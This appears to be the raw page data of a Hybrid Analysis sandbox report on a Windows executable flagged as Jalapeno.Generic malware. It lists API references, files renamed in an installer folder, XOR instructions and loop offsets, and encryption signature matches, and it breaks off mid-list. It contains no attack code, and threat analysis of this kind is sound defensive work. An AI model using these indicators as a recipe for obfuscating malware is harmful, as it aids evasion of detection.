21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 97:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4b7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Jalapeno.Generic Sample fdfc254cf83f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample fdfc254cf83f…. Malware family: Jalapeno.Generic. Threat score 100/100. 19/27 AV engines flagged this file. 14 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3","keywords":["Malicious","Jalapeno.Generic","malware analysis","sandbox report","threat intelligence","fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3"],"about":{"@type":"SoftwareApplication","name":"288c47bbc1871b439df19ff4df68f000766.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Jalapeno.Generic","antivirusDetections":{"malicious":19,"total":27},"behavioralIndicators":{"malicious":14,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T78c,Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "00000000-00001560.00000000.171932.00061000.00000020.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp")23:T10f5,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "00000000-00001560.00000000.171932.00061000.00000020.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")24:Taa6,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")25:T52d,"april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-KQJQP.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\unins000.exe" "april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-E1QGJ.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\libgcc_s_dw2-1.dll" "april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-IRLGV.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\libgcc_s_dw2-1.dll" "april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-D54J2.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\libogg-0.dll" "april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-85VUO.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\libvorbis-0.dll" "april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-AB0VE.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\libwinpthread-1.dll" "april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-UM722.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\libbz2-1.dll" "april.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\is-8FIBH.tmp" to "%LOCALAPPDATA%\Senior Flash Decompiler\flashdecompiler32.exe"26:T1731,Assembly shows XOR instruction xor edx eax in Stream UID: 00000000-00008076-61219-9-0041790B Assembly shows XOR instruction xor edi dword ptr [0043B068h] in Stream UID: 00000000-00008076-61219-9-0041790B Assembly shows XOR instruction xor edi 756E6547h in Stream UID: 00000000-00008076-61219-14-00409D56 Assembly shows XOR instruction xor eax 49656E69h in Stream UID: 00000000-00008076-61219-14-00409D56 Assembly shows XOR instruction xor eax 6C65746Eh in Stream UID: 00000000-00008076-61219-14-00409D56 Assembly shows XOR instruction xor byte ptr [ebx+66h] al in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor byte ptr [edi+56207566h] al in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor al byte ptr [eax] in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor eax dword ptr [eax] in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor al AEh in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor al B1h in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor byte ptr [edx+00890042h] 00h in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor esp dword ptr [edi] in Stream UID: 00000000-00008076-61219-45-00417B00 Assembly shows XOR instruction xor edx eax in Stream UID: 00000000-00008076-61219-60-0040DB66 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-76-0041086E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-76-0041086E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-88-004161C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-88-004161C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-89-00416388 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-89-00416388 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-91-0041629D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-91-0041629D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-92-00415D37 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-92-00415D37 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-110-0041ECAD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-110-0041ECAD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-113-0041E91E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-113-0041E91E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-126-0041AFF7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-126-0041AFF7 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00008076-61219-173-00409262 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00008076-61219-173-00409262 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00008076-61219-173-00409262 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00008076-61219-173-00409262 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00008076-61219-173-00409262 Assembly shows XOR instruction xor esi dword ptr [0043B068h] in Stream UID: 00000000-00008076-61219-250-00408D0A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-291-00420ACB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-291-00420ACB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-332-0042143A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-332-0042143A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-377-0041902D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-377-0041902D Assembly shows XOR instruction xor al byte ptr [ecx+edx+2Dh] in Stream UID: 00000000-00008076-61219-388-0041A928 Assembly shows XOR instruction xor byte ptr [ecx+edx+2Dh] al in Stream UID: 00000000-00008076-61219-388-0041A928 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-545-0041A15A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-545-0041A15A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-547-0041A0D7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-547-0041A0D7 Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 00000000-00008076-61219-638-0041BDFE Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 00000000-00008076-61219-638-0041BDFE Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00008076-61219-638-0041BDFE Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00008076-61219-638-0041BDFE Assembly shows XOR instruction xor esi dword ptr [0043B068h] in Stream UID: 00000000-00008076-61219-2008-00408D98 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-2035-0040872C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-2035-0040872C Assembly shows XOR instruction xor esi dword ptr [0043B068h] in Stream UID: 00000000-00008076-61219-2036-0040919E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008076-61219-2119-00408E62 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008076-61219-2119-00408E6227:T44b,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - RC4 Encryption Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: Contains CRYPTO related strings28:Tfb7a,Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 128195; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 184865; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 364447; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 389654; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 550343; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 578492; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 581168; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 706785; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 707762; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 743489; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 765921; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 877348; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 890908; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 904533; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 982586; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1014111; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1128671; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1129105; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1201635; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1208383; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1391000; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1419693; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1438762; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1458291; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1497205; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1561537; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1659384; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1680397; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1708142; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1763556; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1775119; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1799612; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1856533; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1937341; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2036119; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2079877; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2082650; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2119895; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2203303; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2353026; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2468101; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2522421; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2537476; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2686579; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2786660; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2824904; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2969890; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2973492; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2988160; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3031466; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3032326; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3133751; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3151107; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3162375; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3163188; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3339060; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3347678; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3416155; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3432311; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3444369; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3514914; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3515128; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3515523; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3574493; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3793831; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3836345; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3875021; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3898439; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 3958978; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 4034289; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 4172865; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 4191302; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 4248312; code bytes = 30d0 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 83404; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 105230; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 121282; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 157327; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 170838; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 189893; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 206868; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 346186; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 484605; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 495943; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 528491; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 642126; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 796755; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 862020; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 924262; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 979771; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1060743; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1072658; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1086415; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1302502; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1405052; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1437698; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1483094; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1528611; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1544254; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1562146; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1693977; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1767197; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1827175; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 1944945; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2041055; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2112137; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2182222; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2318995; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2334774; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2348152; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2404799; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2410123; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2447503; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at offset 2466747; code bytes = 33c1 Found XOR loop in file "288c47bbc1871b439df19ff4df68f076.exe" at 